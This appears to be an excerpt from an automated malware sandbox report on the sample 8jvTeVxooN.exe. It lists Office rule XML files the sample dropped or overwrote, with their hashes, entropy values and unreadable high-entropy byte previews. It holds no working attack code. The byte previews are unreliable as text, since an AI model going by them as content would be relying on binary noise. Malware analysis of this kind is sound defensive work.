Preview:	<?xml....nN.......B...}G..x.....]...%+}ZTzg.r..t.1..i8.X.......b8..S.G..C.`..EM.f.ci.7..b.@.<..1..N^@.-......5O[.r.....a/.?W.q..&.:..k..sp...Y....&..R...v...t..m.....n+U...L.W..>3d4..O.?......'[...........3J..Y....=..L.......0.)...9..kry./.O....a......}./..h...e.s..-...<.FQ....C).....:.S.[.....C...n._.WU...c......9Sf`.zE.'i.\|%..........?.9.n..j.Rx..Q}...~../...).....\|@0YNX.$.me.I.8...O..........Qe..u.O9.v^....]..."C....3...{jWuz....!.....M.y.........9d."..e4......Ra-...\.Q..;.~.e$......S.FU...b........jB.@..T....C.......}.'..\|^u....R..!..W..;9)......[.......-'\_..v..^......`.3..{.4.\|...s...]...GR._q..hd........+..dU..#.'.>..u5I.o...V....m...._....WH..FXir...J..v.....Y.UY.5H....#wx.e[.].....i.e..D....[..^j...Y\|..!OY.tK.cs...~.j....2B.&..H.....l....+u..a...0:].w5.{9%.]"..:....'PR.D..'..^...@....<..._.j...v...b..5...9..b...]\|............!..i,9.k.s....;j.+..........P..<...!...?....[.k......%p....w.O.....F...w\.........8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.869805888842808
Encrypted:	false
SSDEEP:	48:4QonJCCXMD+LXC9mfoSoY+BFsjpVs0Vtrx1D:4QhCY+rmCzH8CNVh
MD5:	12F2EF6DFD3525AB812FAA213FEBB4E2
SHA1:	57227F63B7EEB7612CF701AB205CE08AA638DBDF
SHA-256:	CFDF91FCB4472FF15DB17BD7227E35F1D3AE2E409B28ECB5FC6AF37C394E67C3
SHA-512:	512C07D9168AA82FD8EF3B667593A427B595058180A0BEA599C7DA87C026EF55D633229B43A1DE48FD247EE27F1F64FF6838455143B5D21D3339D3966DB06FB0
Malicious:	false
Preview:	<?xmlq.~....Y...._?..B$j..s.37@.u^..E$.:...+.A;8..ufeR..$.s>.7....8.-.R\|N....1....pd. .BL..}.3^.4dX".}..w%.&2.mW..;..".1.......`.9....g...WB.. K.vf.!$..>....D&.53A..!.A......X\|.V...'.E.?W.NR=)....~.^8>....7.,=g.;2..L.v.\|.v\|]...a\|. './...#.(,j~....1f/.....u.I...K{7.....n....2)%.......X^....p...!...@..6`}.2%.B....O..)..C.C....-.\x....Q.f......4..,>jL.V.ej....+...u `.K.-...0..8JD.>.u..($P.:.+...u......^...crs.4....}.O.&7F"k.q.D.....m.....q..U.........2...k.?..T=..rl..._..@\]../M.........Y.fC..<.A}$`..@A........b.7..BO..Fh...c..=A&.....>:-.X.\.U...O8....P.t..-.......Or\'.N.\|..c........$(a.X..VE...&......N......>......U.5o....+.c...x.V,W....@....._.6IE.>....}d.C..4.@.....KC...#......W..w...#.8M......I...sSE...R..m.dR....h...d.3..'.$.D"h..i!..8....y...lg%....U.1.J..y.U.?.x=n.$.nW.5...'p...u.P#x..I...~..p.\....~j...>>.t..@6.2.%%..x.^s.%....(+.cy.....m.1m.Sg.J.dt...{*...).~H....D.\|.....R.y.D..._a9oH).IF..>!..8..$.a\.../q.6">.A{..b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.88479976898236
Encrypted:	false
SSDEEP:	24:OAe3PWUDx3eL9dSw6LBUFpARGaZbeF6mTiCRwaaquXDMXhYtWzGblcn81ObD:OpNx3eL/SFdUFpZOwhWzMR2pc1D
MD5:	D9C18442BDFD7C0957878A65FED5E9D9
SHA1:	9BFED0C80C6D9C957E8B38A62D8991E8BD254D8E
SHA-256:	F7689278957BFDE68EBC7C3DF92EF93694649DCD68F29FCB703F420C0EDD253B
SHA-512:	AC7EAE5F0E95971061C7049B97414310265F7FA2093C324BD4C1B2C09A20AD64A7BF2E3EEDEEB18EDAB6EC25F6B3295CF629E6E3D76BF9948174D839C6AB43C9
Malicious:	false
Preview:	<?xml;.......C~./.Jh.Q.....,3n....7_..zc:.....l..\^ax.f.%..T...K./p....n.U......6.QL..c.m_.A.....:.v.k..5..\|i..\|.'.4>.k. .7.>%..Sl..kz.}.o.Fa.78.{3..<x....!%...`....(.....}....~&N..`~.[.E.......i....B+K...7q.5...jG.OQ..u......2.e...Y.o.9......aO..\...H\.S.....^8MHqg...:..h.=."<r9.....?.\1}r..eb'f....C9..f N.o.....o.E.......a;V..`.".p.\|r...:./}..4.1..C~.....u.6-..5.5z4\|.h`.D.=..p....X,. ...qZ..m..\|............<..2x'g.^y.n7.h\.:.u..........H..%...3:..i.~.$..7.M...n.>.....j.M.Jd..O..q.s)..`:..>O..u...a...%......Ew}48......9......l....88a....2b..8.@..q.....Hs(t........Ku...r..[...\|..........p.....: ....ff9l.,.(...z.)...Z...~.b....B.{........._..`joN.'..v?...s..u.J-..fX.....%o..6H....6...7.{.......Ew...<.E`.5.l.H....vo...bU..g...z..z/...D....8....K..Bsh..mT..O....c^E...g...r...,I.2{.H..e.u...........v....:..wm0T..A.eA......_..L..eo."8......S.P.$.....H..'.J..+.....\...R.\....[......L0F.LB.#7..........j\..\..:0V...w_.@0k.8..@`2..'.\.f&R.._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.884154604340578
Encrypted:	false
SSDEEP:	48:B1F0W8kvQfDZbhcdbMvKYkXv2U7rTTbNDi1FR0ED:zj81fD1htKYyv2Uzc0Q
MD5:	6681A753360DE73CF6B47DCBC07C4644
SHA1:	87EA8F9C5275C820212D905ABA8FB76158D62271
SHA-256:	E831C35E64836DF3AFF3786444C8EEC58C352787C49F136707579942BA780DD3
SHA-512:	02086C0496DED6503E97F989466DE623F028B6ADB7DA94ED4CD4CC2B5F5841EF7C746D52B964F5DFF970B452E43F04FC3DBFC8922D0E8F06DADF907A00B62CEB
Malicious:	false
Preview:	<?xml.....o<.B)_tR..;..G.=7...3....dW.z..W..i,....'./.2.o3......S..M..8+..U....z@...U..u[].Hqa9'/.j..!.,..Xy).......#.8h^a..'..rg.<;vc<....ztf....e+& .p.~.A.o-.6;.......(.S..i....Zz..S._...XqT..3....3....'5..~..4...^n&...I......a.u......(..S.\.\|r........f.[.........Fd..<R.x.....O.0.. R...t...[.6&.M.........[{n^..X.........F&...)$TS&%..](..9....". ..}.W..U....p.wo....{....L...uf...U....VG...z'.A..M.E...c.....k...(i.\..4.P<ef...X4c.=U`D...9ZR..?..0V.#a...l.o...1..(JV&..&..7K....9-[.........iM[uM.A.p.(:.~..O..Ji..}.3:R..U3...8u-.F.n8{.w..4j..E_..~@.,..t...6K. .r.vx..Y.2xIu..mZ.s.....O'..8M...Tw,..;.]....`.......].k...bNcT.J....n...T.B.G......7.!CM.).....xP1.z.AN...!D.%s~.....d.}.+.^..T......9;..L.fw...=...gW-....8...p....q.#.A...I......."vR.z..{q....g.z.vR\....%....hd<..C./]...>5_.hX.O...>..R...T8t........nto.Nl..G.%u.v..D\....^.....{6.)..J..^P...p2i(.....Rpee.t _.E...UE&.M.I.'/.s.....'....o.....m..srA..x.k+.,U.u..>.Z%.j............M.F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88354519004531
Encrypted:	false
SSDEEP:	48:iGOhm4ykHMJlrhvKlq48zqr5NpXY7mtXD:ypfkHilr82NpX7tT
MD5:	1BF26BA4B26B1D74890C07C1697169F5
SHA1:	6BE42020745E451E902A5149835FF4B8A6FD83F5
SHA-256:	E164E7744AEB4BA67AA8ECD2F5EACD94914D23F9FE8CC38C1F9E027EF02F7466
SHA-512:	4C2F70F3CABC1E6A4CF50D31B8B8EFCC99E8763A36478008FAD1835A1B001B33F4521ADCE6BE0685A2BCA1EA51346C2888F3426BC3FAD9FBD8DAE8C0E1D1A5F4
Malicious:	false
Preview:	<?xml.v........Lm.Ce..Y..S......h...I.wP..".O.gkS.+.w.....S@@.G....\...P.S.!..[&'..C.}v37.A`...........E.........2...GFwX .u.....w9_-;..{.^TQ..g}7_.`.ea..I....\XI...:!..>Q&.d_yN.!...u.g.t]..7J..Q.....v..g...._..Y.X.>F.@..k.."..#0._..\|.......g.."....hj..!.+.,.%.gD..p..z......W.DD.U.......F.v...5.V.U..n#9..?....N.7... .v.....7...\|\....`.O~'..i..)q.y.....$...nO.zS(....j.....3FP .......V..qY.......:....sq.L;....p\|.O.>..\|...t..iBl....T>....o...1...$..x....l......8.>e.>...O..Z...n.A....$}f...'.....44.....K#.r.<..)....D..r.mv....+.._...Q.#.P..i...[..bd..hw...9...+Lrj...U..e....u.\..IC.........P....!.\.".s..n.;.;..n../..IHh..v.....i>O...4.`RX..2'.\\.d.......gz..O\|(...v.ZI#f..;5..O~[.7....Wl....?.&.......fp..vD..[.gnC......7u..x.aq.Y....G$.u...y9U$.@.N1i6$ ..-.Z...........tT....\P..w.p..iq......F.XU...$&.r..1.I....`b..t.......:Q...n.....M..Z~.Z..i../.P.+.9.{....v..I.Y.~T.......Z,..P.>......Vu.X.(.#v.I.T....P.S...-.6..ha.....cT.>."...,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.884119440162459
Encrypted:	false
SSDEEP:	24:HMZUYNUnKAkfb2VVMMKa1wF+vuRilcMKgk/yWCtgLQTcET9DZ+rJVuObD:HMmYNzAoCRKDjWqgkKWCtOmcYD8rJD
MD5:	C84299E6315732F2FC080D6F87D44F0B
SHA1:	70A946B822CEAA3A0E038E135036A1B3B05CB90B
SHA-256:	D409DCA874F5BA24739A40C877A9376166238231350C438290B020F72A2BC865
SHA-512:	BCDB4C562F7143AFC382854E744AC86C666E59EE91A0B271FAA31F4A5EF67C9B09AE66587A28D77A0A12E87835BC90BEDDEE79B2CB8BEF1A4940E8EBA4B68F9A
Malicious:	false
Preview:	<?xml..t...(.0..&.....P}.5.....+Y^ .q."....]O..Wf....,.p.....?zrD...;?..V.iP.`{w...+.%p.$..R.. ..J...R....r.............&.a..}/Z^W....]...p+.<...N_z.u.......,.b.q.^.l.a.Z.P.p......8......D>Ym2.........kY..:Psd.q./....B!..Jh..)..%(<.X..>.D....a._v..(km.....F...o..{..{.7..._..U...Cz."...^T.:D...h;.._.l.5+......4).. .[?....tpN....f.GZ......4.."9(...BW..e.z.M..V..x.+.gY..X.(.H.M~&...........oow."z..h..x...s....p$..Wd..5..<.G.R.A..<.z..0..y..sB{-.....c....%...y.....G..[....'U.Y.=_..4T..Oq.....%....YM....x......2....0..0.D.\|..../.R.."...q..1.!.mZ...f.P_..]..,......l.`...\.2...Lg...Fr....v..}.<(.7.P.V.i...y.[-db......z..wL..a......>$.....%..o.S./.v..a.w.yn@..../..'...h...@.r..>.."....M~Cg.,7. ..8.\..'.n..{6.h.....u...{.@..]6H> P..^fEL..D0....../.....g..2'...q...G.....T...>[.m. ).\|.S...v..i,......WQ.).qh.......M#.I.O.vr...........U..X..M..6.....'.....=.._[H...r.;.+z.&..W....m..A..GV..............0H.O..x.9..[.....^....../%.]N#v'....Q.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.891651444837146
Encrypted:	false
SSDEEP:	48:nNDyYZYfIMmFcS+fRA+bdo4D2i2pdD1pD:NeYZYfIpFsRU4D4pdDf
MD5:	DD1AA585BC437B0007A7E9814F6586F4
SHA1:	4D6D7A3BB3D60782DCD224E0C13E0449A08B9CCA
SHA-256:	E7A086FACCBCF0511E670A5D0B41EFED960DE5EDDABE8106A52E5B59F187CD66
SHA-512:	E8CA0B3BBB607A10AA1C3910AE0B00EEFEFF01A846A7922CB53E84EBD48AC74D45F663FE1BFC81F1583899F807189763C5803B1E2C3D28B7F53D7DDF9F04836D
Malicious:	false
Preview:	<?xml....,.."W.......RR..cr.j.N.h%..Zk6;q.K"D.\.2.1.S.%.{$7.......3..D.o.E...k........0=.K.g.f.#.q.VZ.....CzM2..W8......1..H...e..h./..s.:..c.k..M.?.....7..h_...Nn$. .#(".AP<.=...U.pj........9.o.r)=AT9.R\..b.?O...`.a....r.@.'*.l....NY@...z0...w....Bm9.w.9..hiB...W....D^l f..:d...z....d....,:.r.<..A'j!E.I....2..i6.C.X...5p...R.....{c.l.N......q.yp\|.&..r.ss.3...E3.w...HP!.$..H."..\|..?...x.....9F.ET]#IJ.vM....tr@5^.^DJ...g.((...^[.c.{. ...W).n.n.....SbtM.$l.J...%...f1.H.............V.....t..<.@....:..._....i..Q.......,....r.9/..].'.....PWPb.V.a.3.......OH.j..K.kqq..w5&..$H.n...=....!B..d.....gu...U...7"5...].1..E.k.....$.D..,.....k-es...!@..$.-..\... .....H3..I...............%..:... bl.J..M.P:VT-......I....".oDpA8.o..%.,.s..+.?..=U....#\..n_.WO>Qb]zu.F....>;}..=G.}....XW.[..^j....O...UQ.Q,.u..F....G.u\|.g..g..$...qE+......SK.+.HC.IV....b<].=3N.......5.k.sO.f...}..^P..f.>+9.T..lK.....t.U...........;v......0..U..^.....5..C:...a.v..7:.(v/..c..lX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.894837508178474
Encrypted:	false
SSDEEP:	24:Zw299Hl/k7zkwhNHDF8X6gEmKk6EPrF68dmiheMy+CVnc9Mafdo2ipy69GW+jObD:ZwI9F/izkwG+K/F6bihOG9RoLpy6/DD
MD5:	82B8DAF234B506D08FF878C82DBDB83B
SHA1:	F90F7F45B246718B9034F834B2F775070F443177
SHA-256:	8AB03117EB48C80196BB35AE5EE3D07A7B103A07ECA92F1F7DC846002EC5BD6D
SHA-512:	7A14EF7E723E675DC9C1B16FDB17AB925FB85FB8E8D93F7AF647B33CE0CA877FDFC31DA44C6A85DBE9BED25D0986CD75C052534E40F0DE47E52433170C0AECCC
Malicious:	false
Preview:	<?xml...........;..$`.....Y.fsp..!$....(G...:LV.:.'T....kD3..C....".......G.......A..U...xu..\|`.....i...j.o...&Q{.;..?D....Ww...I.X.....,..B.iw.w,..`....(.i..G.a'G..r...0.v.n..1..lT.j.9...P.v!`475...C..,4.s.h.0.....K<.-.......&..r..G...3K.5......;.1^h...D.. .}....,.n..L..!.........:.I..W..Zu..c...{'..!..I.br~..{..A.k.\. ..7>9\...\..1z".o...Hs.@...:.$...b.....J...]i.t.C.j...>.\|..q...Ig~4...e.u.=..2x.z..;...r{(96.w.U.....(.F........b"M.By.@W.!.\U.#.......zs2.T{..Y..0....5,...iX_."9..nr....\..lH.T...};...c...?a.v.CN....o..>.......>...?.8... ..s..).J[...=.......v..p.1.4..G.T.....{....lJ.`})x.a......w9.`..Gh.kk@.-z.m.y..........a.....!.[.E`.......\|.{ .>......L..w.W..r.RQ.M..h._..qi..8..K..~e.`K.Q......W1z...3.'x......O.'=.{..L.u .\|.3.P.@......%.-..#^k.9....k.......M@I.....&..x. .%.Q`.C}N..T.k..l..l...]M.%.?.....x.;....<.......eS. yQ...............B..y...F:.#.<.d..B`V]...X..._.....]..i.p..r.w..(@mRJ.R ......R..g..>..dh7.....!.t..3...9J.?e..g.O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8981539923457795
Encrypted:	false
SSDEEP:	24:tQ6cR/0yfElPnCs4fA15KgRIau/8PI0jM0+bKAt37bcDx3cKpX959H9iGsG87AqG:w8N4fAfLDljMvbKY3/S3N19H9fOTT6D
MD5:	097EDCBB439A18E3B72F42A3CC18A388
SHA1:	7392A891D45C689FE5495E3D67C6805A6D703261
SHA-256:	ADCC6EC2F9BC1FE72AC5FDD070D0414A15465C534DB2560621587AAE4514A0BE
SHA-512:	EB21F64F3F060568C2FC71D578F4ED433926210A417A710333F7E64808290EAE6027D260A4E9554CB98EBB63FA0E6AE6645A1491075FD7C066DC74D69CD4AF9D
Malicious:	false
Preview:	<?xml.....h_.$..9..c..!..]..#.....k...LZ...a....X.h..4...f.K...>..B.....u...U.b....6`...*.....2i}.]....uw^...'...)....}4....zh..Q..... .Y..I.B...{%4.x.d..D...,..W.,.+VV.&5.zA.b..8..2,.T.....B.I....p.#b.w...y.Zw..~~......^.[.@}pN...=.Z..DdJv\|.O+".?..e..w.>..... BF..`.....P....-`T...,.p......jGU....\|ZM;$.\|..b.b.w^...g...Y.f-....z.dMrv.....p.....^W....8.....&1..\|.."... ..{.B..k.z..7..$x....n....u._..qL.1..C.........%.Y.......".E.yf..H}a.p..6.&1#...<W)J......Z...Q.6Y.S..L.....4..<{.,..J.tz.v.8........@.^j.;..,..>A..H..)...X...9:gdba....]k7..V....m...[A.{........CFe....s......LU.....\|-9.....4..[.U......P=.:.....:.0........,.%.aJ]Ej.2.]...)..;..8........o......h.y...q..'..VQuG...>....".`.=.~-..II...f.b.h.T>-.9.3..Z~\|..fK.H.EJ0..J.[.....^...VU...z/......%..o.../E7=e..@..E..O.....1b..!..S....x.m^.....(Uq........0+ ~;.r.`.Z.........`...=.?...+...'....8@F......p....b.6.m.T.....i5j..A..........:...t.mw....H..U..{H(..V=3..B.u..T}./r..D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.892787810847891
Encrypted:	false
SSDEEP:	48:D1XL2v2nHms/gn7j14VwJ1JzSbsLuMKRRKTaq1D:RGs/Sf14Vw/JWskOTaqN
MD5:	1C431D16E0AD9C441B1C36E213FB4AEF
SHA1:	499BE15A0873A6875F7D8FBBFC0E7E7596C92D26
SHA-256:	B7FE25D86C977F45D91B4282A4EC14F7036432404F0C6726498AD072265FAF0B
SHA-512:	BC88C4E549076DF51812701BCD8712AAE9A2CD4879EDC64F51DEC775C923091646DB2F1DD814AA6FB056013B1734735DFCF6461FDE37992CAF783473D409A421
Malicious:	false
Preview:	<?xml...ud..C..m.Cc..I..lR.+.".....Q^:.5.."DK.Qf5Q.?...6..{3z\....^....G...D.8..:..c....Z.L...h....)...8...L..l..0g.......Ux....N..3.Os..;.....fR..;..c.D....G/&..y...Ux".t+......L..N..M.....;?..%!..z....t...j.....-.....0B...V..Dt....(.....ix.4..d...3G.:.A$ej..;.xd5%...n'...=b+..m..<8C........^q0.W....#.....,....T"..........y...,...v..by4....s..[2O._....Y./....<f....../.;....(...[....E.%G..-..F@.BG......\....R..h.M..E..V.........9..T...N....4.V.3..e.t.=.Z.M..v..~.).r....n_e..{_..y.@.....D.jV>...9..0.}L..L...{j6..JW..IN..p..........},ac...[.P..P....-.w...9.\..u.h../ox..G....,..I<....}.\.......M.0...n.\|$:c.6.R....&.y~ .^..h.j..3...;...u..K.1=e.?...TK..JZ#ol..!M.;...>.3..jt..C..$.b..E-f...[{..,[....I0...+...J.u.......(F.3)]..T...J;K.....^.q.~.7...;.-P.....C....\|..FKK07v...$6.:.A.L...w..h..hv....%V.a..S._..P~.O+1.0...d..........B........w..X..SARR..?.>..C...q..i\?.b ...."Y..M.............f\|.G.`..W.Yos..3.j....VZB.9..=]...O_]...u7'/.Q.B.g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.874071104040944
Encrypted:	false
SSDEEP:	48:81z6THmh0UE9RAw6QCDm6WTwvCTGi7XCxIs6NCD:8kTK0UELAwpwITwvCKwX4
MD5:	6958EA6E6D0B4D28DDCF5E1F95F30BED
SHA1:	C53AB239FCC88B80C7202B6DE21DC3F55D8F26D0
SHA-256:	7671BB3B7E4684398FA434A4840D5184A7F7F84813BBC533E7D54DC4AB6C3C39
SHA-512:	A83DAB68682A10923B056588906FE02E1CA6B75A56EDAAD0FFAB6A94E37EA2E43B86661AFD0C06C99A024BCAD5098C85C2D7EA74818568DE3029980EBD895D65
Malicious:	false
Preview:	<?xml.&....A...Ks;l..d..&.6)......."......O....y......(.s\._. .\|..:....\|...i~@.Tt$.......X&..F....-.9..75.g.K....]..i..%..@..H.......%.<..u.~v.Z.=..t...h..oW..E...........x"-.)....Z....e.O...,'.Y...g#.._e.%...#.8..b\|~..{I..fhO.k.....G.v.0$.....v..A}.....n.V..o..T.#...^u.Wp.... ?)..ey.xd.c...V..h.q..m.^.C}..\|.B.\..{...9g.}S._....u.o...,^.$........5...'...`Z+..........-...q".7Y.).g.^.-.....7.H.....6.p....G-...(}....c_MM.E._.......VY..Oj4._]!...~h_ .,...I.t.....t+.?..[.Z.#b.I8...-4v.....y9.)..........D..Dd_..O...ph.$.[...i.......~t.....q.B:.T..=...f..l.Z0q.ck..r.n8jt.%9.7r.8e.e..."..Xe[.B.H....\|..u..@..'.Cv.TWY....O../..).9.._...}.B..K...[f.......K@N....k..V'..z.*l=<^.y44,.F.W...._.9Uj...(.yU..\j.c....gd.:.Y..c.Jyk.z.:}.._..$R.P=FI.......^..;....!.b..I.....{bIL...o...}.. 8..zJ...............hl.RBS....#.o'.+o.?...wd.....<.>R.....<6 .-..x.f\}.p4=B.....{..Pa....:.m;I.....C.._{.$...paJR........T........x.(..".]N..~x.~..3....0.^.C...m...h..`.C..p5..$......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.894026946866533
Encrypted:	false
SSDEEP:	48:6jxCvn9IHIX8239JOAxCSqix90DRL3oNav7JD:GxIn9IHQ3qAxrx90DRrdl
MD5:	E000EB4BB0A2B3F26794D6A964458FBF
SHA1:	F2FB2A793D1499CA42630DDF911F3ACF27E81CBE
SHA-256:	6B71E159BEC5B95D53B8E9F26ED7F03B86FAEC12E89E5A310ABF64F6E270C904
SHA-512:	0596AE200933FB5A425A4876FED7EC1D88E3C95B976FD9A9195961F962844A04EC9C5694EF631FEA5E8445A98A492A0FFFC43B9DD11C0AF08AAE52A202FE255E
Malicious:	false
Preview:	<?xml..........hKK........._.{]...Jy.m.(.yS j...<..R.......Es....6..U......%..6....@i.=................G.^{_F...o........fp.m..........7Y...qN...?T6'..22..O:Z..d....@.........[...c...+.0l]...Y....H..\|.........`.....X.....4 I..v\|..B.nYb...w.&k.'<.7..v.~.H.+9..M.nQD.......bU.[.qb.._@.C.-.m.aX;...V57.R...a.d.%...k..4....P.....d...@.P.gT.n......HL5....vm....z)...B..-jK.g}.....m.".q..._....zwC......x".+.2QO....J..sr...&..,.".-....Iu..Q..euL}.......a.Im....;g..6.n.3..).u......e.A...w........h!.;.._......w..Cj`..~7..2.r.1O....@\0.#>.Y.]...1\.'.....{..~<.(h.0....j.n@X2.........C....P.....d...[.m....`.9h....dy6.1....K.{..8..ji..W.k..1.$....&{........x...hP.../.4.^..D.).v.qss2{7C.I.....z..T%(.......>r.QB......xP.}..R.z^..........q.N.......a..g.Z94..}.....!......=W.=../.JR_.....p...d<.!..v+.#.M...<.g....B..zJv.t..AmiT.Lk\.E.......b'..:B.nR..`!u.SO7.o.....t.......7.....k.=GDI..K.0...Wa....U...f.Oq...j..5.z..T;J.]..OvR.{...{.qM>..y.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.869822893427293
Encrypted:	false
SSDEEP:	48:WUCBpiTdds99qFxs8hIocGLguHhqUmDJIbxESrD:WN6dqkFhIoFtqtDJEmSH
MD5:	56D8C1D7F4AD581A1538F4C3055544CE
SHA1:	B55E9E56145F7D162FC8E7CDB706E7DFF3FBDF47
SHA-256:	75B39AFA4CD63097E91B47412317D66C09792FBD176E078EAB07EB1FB1832417
SHA-512:	E21C2AC624CB74FCEC2ABC8EE77573563A9C01DBFC7CB57EA5046D5BBDD0D1553465ED68560C4379B34756C30ABE3CD7A9D5F133DB8ABF1DBC184E071069917F
Malicious:	false
Preview:	<?xml..o%<...^....#:....1.j...3.y.:P.....e3".4..o%X..z$B.I<..5.;.......-.M..#C&.BI....<J..gn>..g.<....A..L....@iK..R".%.g.U..K{......MZ...C......".8.%h.(..Vd..,.".._.ZO..=.E.e...=@.3l....n.qV.&9py8.c...V.......SoFbuB..,.d....j....}.fhT.V..#.....C1.k..Q"..S..5NhvI~.fo....z,`..-y.^.3..2=.o...F/./..[.g.A+.n.....k$.4p..P-.IZ^.k\...)......~A...bW8.JO..R.Z..t..?...6.\\s..R..)..Cq....\.L...^.FQq.N.'......d.D...i..........s.Peq.....h{[..Y.WW.(.u.G.%.5.....V.l...Mz...y...I...:.J..."..a.VQJ^.s..........&^e..'.=...k)..e1..M..J../..j.@.....m......q.....e..2..,.HaV..+v2>.;.[..4 .F2.! .u..-c1.i.M?..$..!...m.)..r...l:.BM.\|..OG.....r.z.U.%.y.".u\|.Is.E.M4...h`l.X.FZ?gi.._...L.B.\e...2&5.2D..../U..cJ..1.D.X2.?^.[.=G..x..A ..6./...p..\uL.....C....44\.....1y.Nk.50......6Z...&1..Z..e...-m.O.nO.`[/....+rA!..t.K.t..X...0.M..D\|rC.....g....O.....N.\T...'z-.&/E.w....v.NQ....;.m.K...s.l.\..%e.:...n.N...q.}..Q..<.B.{.L.u\.J.8........Gu...!v.Y+...B.sa.A.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8917144511839
Encrypted:	false
SSDEEP:	48:Ml55GUFK/8TNMnMiYgoxca4XxY8X8RaAAZ2NYCHw6taRpD:WGJ88Mi3oxca4XxY5RaA3Njhk7
MD5:	DA30C4B0E9D4B9C9B5CBC9303E15EFB9
SHA1:	19C8378B662184AD5EB9EB48D018110252880D48
SHA-256:	5B23966D1D32772B658D540D98A420B000155EF11810C68E1D5DA9A8C6C5D665
SHA-512:	898F004AB8A2E00B23F8B2F26BD6DBB0007A4346F6D29B29E80731EC99D2BF76A9FE72B32B6F391AB49D76C322378AF844D3300BA4BF899DE9129E8072C4E692
Malicious:	false
Preview:	<?xml+Ug.k\....=...._~.X.....1mz..2.z...V..MY.<..=+..'`M...0/{.JVH..`...c.........$t.u..o..DX..48}..u....H..G.......0=K.C..e..L...3Z.f./Y..Rb.....@gv..tL.RF.Q...].....9...nVAgd.......J..\|r...6..K...o.0,.2.>..&R.9.2..gZn...s.].?&.. .6.`.~...,%....6.6..s........b}....X..b.... ..h.p.5..P......^.._L..S../....SF.g......Sy...<\|.p.`F...p...(.b.9z.:.Fl..lztxF...L....ac..!../F'....\|...{8X.?.1.$'.v..q..Y~....K.R...,......dG..d.....s...G....CoG..6.W.U.sBZ.e.85P..b.f#D]"....;..;?..l.k.L8.2....F.3u.C%.jO.O...R!RRo.U.;i.....1.].m[b.W.iuB......H.\|7...Y..Sxx.y.+.n2...#.7....Y1.Y...v..Y...).......3...M];.uC\|W...n.C....U.....!...P......hR.......nX#.O..].3....yZ.._.Z.95.Z.V...."..X.b....$.0.l...:.@....=S..1}.....X.."..b..\......L(.$....'.c...f.y ..bn/VJ....I.2j...H....+..w.-.3D.{A....c4.s..4N-...E.Eq!.e .+.r.....!....c.MJV>x.x...wP.Z..8.b.w>V...;...K._..a..G..W....\|l........i...;.8{.^.t.N..?...l.....I.......4].).d..pv.......M...F...j:0.u..P.k....I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.899793173875703
Encrypted:	false
SSDEEP:	24:LKW3yqRs3MtpPRyhAwiJy8d88/t6bTzqu2J4m65LaZtvtYSULFbOYJvqaoI/0GRS:LfnpJyAwVo8e6bTmcmkpL0YJSw/0G2D
MD5:	01856F5F5B4AF72B0416FE23CC73B36B
SHA1:	E853036060102C0AE3C160AB5D36AE8E7C4FCAAF
SHA-256:	F4A4100C060EFA50FF0DB01618E4F559A8F7A9E7A57EB66B0F0D559D618F4540
SHA-512:	0D840DAD57178FA17C6CB44CC7A4F2B9FCAC62E67058891D57D5F4515A62B6D24548DC88CEECE6F2F8C46792E94101B22FC69144B284ACF4BEAB688B1CB86B92
Malicious:	false
